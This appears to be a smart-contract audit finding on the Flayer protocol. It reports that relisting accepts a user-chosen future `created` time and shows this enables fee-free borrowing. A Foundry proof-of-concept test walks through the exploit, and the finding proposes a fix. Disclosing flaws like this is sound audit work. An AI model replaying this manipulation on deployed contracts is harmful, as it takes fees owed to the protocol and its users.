Clean Snowy Mustang

High

# Listing created time is not updated when relisting

## Summary
Listing created time is not updated when relisting.

## Vulnerability Detail
When relisting a old listing, the new listing info is stored exactly the same as the argument user passes.

[Listings.sol#L664-L665](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L664-L665):
```solidity
        // Store our listing into our Listing mappings
        _listings[_collection][_tokenId] = listing;
``` 

This means the new listing's created time is also assigned by the user, instead of updated by the protocol. This can be leveraged by a user to borrow collection token without paying interests.

Consider the following scenario:
1. Bob creates a listing, "borrows" 0.96 ether collection tokens (1 ether - 0.04 ether tax);
2. Bob uses another account to relist the listing, set the `created` time to `block.timestamp + 6 days`;
3. Bob's listing cannot be filled by anyone because the `created` time is in the future;
4. 6 days passed, Bob cancels his Listing, receives 0.04 ether back, he essentially borrows 0.96 ether for 6 days and for free.

In reality, it's unlikely the listing can be cancelled exactly at the the `created` time but seconds later, the actually fees can still be negligible.

In addition to that, a honest user may set `created` time to the time they submits the transaction, however, the transaction may pending for a long time before it is actually executed, as a result, user will need to pay more fees when their listing is filled or cancelled.

Please run the PoC in Listings.t.sol to verify:
```solidity
    function testAudit_RelistToAvoidInterests() public {
        // GMT: Friday, September 13, 2024 4:00:00 AM
        vm.warp(1726200000);

        ICollectionToken collectionToken = locker.collectionToken(address(erc721a));

        address bob1 = makeAddr("Bob1");
        erc721a.mint(bob1, 888);

        Listings.Listing memory listing = IListings.Listing({
            owner: payable(bob1),
            created: uint40(block.timestamp),
            duration: 7 days,
            floorMultiple: 200
        });

        vm.startPrank(bob1);
        erc721a.approve(address(listings), 888);
        IListings.CreateListing[] memory createListings = new IListings.CreateListing[](1);
        createListings[0] = IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(888),
            listing: listing
        });
        listings.createListings(createListings);
        vm.stopPrank();

        address bob2 = makeAddr("Bob2");
        mintCollectionTokens(address(erc721a), bob2, 1, 2);

        // Bob relists his own listing and set `created` to 6 days in the future
        vm.startPrank(bob2);
        collectionToken.approve(address(listings), type(uint256).max);
        listings.relist({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(888),
                listing: IListings.Listing({
                    owner: payable(bob2),
                    created: uint40(block.timestamp + 6 days),
                    duration: 7 days,
                    floorMultiple: 200
                })
            }),
            _payTaxWithEscrow: false
        });
        vm.stopPrank();

        // Listing created time is set to 6 days in the future
        listing = listings.listings(address(erc721a), 888);
        assertEq(listing.created, 1726200000 + 6 days);

        /**
            Initially, Bob has 2 ether (bob2) in total, now he owns 2.96 ether, Bob essentially `borrows` 0.96 ether
         */
        assertEq(collectionToken.balanceOf(bob1), 1 ether + 0.96 ether);
        assertEq(listings.balances(bob1, address(collectionToken)), 0.04 ether);
        assertEq(collectionToken.balanceOf(bob2), 0.96 ether);
        assertEq(listings.balances(bob2, address(collectionToken)), 0);

        address alice = makeAddr("Alice");
        mintCollectionTokens(address(erc721a), alice, 3, 2);

        uint[][] memory tokenIdsOut = new uint[][](1);
        tokenIdsOut[0] = new uint[](1);
        tokenIdsOut[0][0] = 888;

        // Bob's listing cannot be filled because its created time is in the future
        vm.startPrank(alice);
        collectionToken.approve(address(listings), type(uint256).max);
        vm.expectRevert(IListings.ListingNotAvailable.selector);
        listings.fillListings(
            IListings.FillListingsParams({
                collection: address(erc721a),
                tokenIdsOut: tokenIdsOut
            })
        );
        vm.stopPrank();

        vm.warp(block.timestamp + 6 days);

        // Bob cancels the listing
        vm.startPrank(bob2);
        listings.cancelListings(address(erc721a), _tokenIdToArray(888), false);
        vm.stopPrank();

         /**
            Bob receives ERC721 item back and still owns 2 ether, he pays no fee for borrowing 0.96 ether
         */
        assertEq(erc721a.ownerOf(888), bob2);
        assertEq(collectionToken.balanceOf(bob1), 1.96 ether);
        assertEq(listings.balances(bob1, address(collectionToken)), 0.04 ether);
        assertEq(collectionToken.balanceOf(bob2), 0);
        assertEq(listings.balances(bob2, address(collectionToken)), 0);
    }

    function mintCollectionTokens(address collection, address to, uint id, uint count) private {
        ERC721Mock token = ERC721Mock(collection);

        uint[] memory depositTokenIds = new uint[](count);

        for (uint i; i < count; ++i) {
            token.mint(address(this), id);
            depositTokenIds[i] = id;
            ++id;
        }

        erc721a.setApprovalForAll(address(locker), true);
        locker.deposit(collection, depositTokenIds, to);
    }
```

## Impact

1. User can borrow collection tokens for free;
2. User may suffer more fees.

## Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665

## Tool used

Manual Review

## Recommendation

When relisting, the new listing's `created` time should be updated to the current timestamp.

[Listings.sol#L665](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665):
```diff
+       listing.created = uint40(block.timestamp);
        _listings[_collection][_tokenId] = listing;
```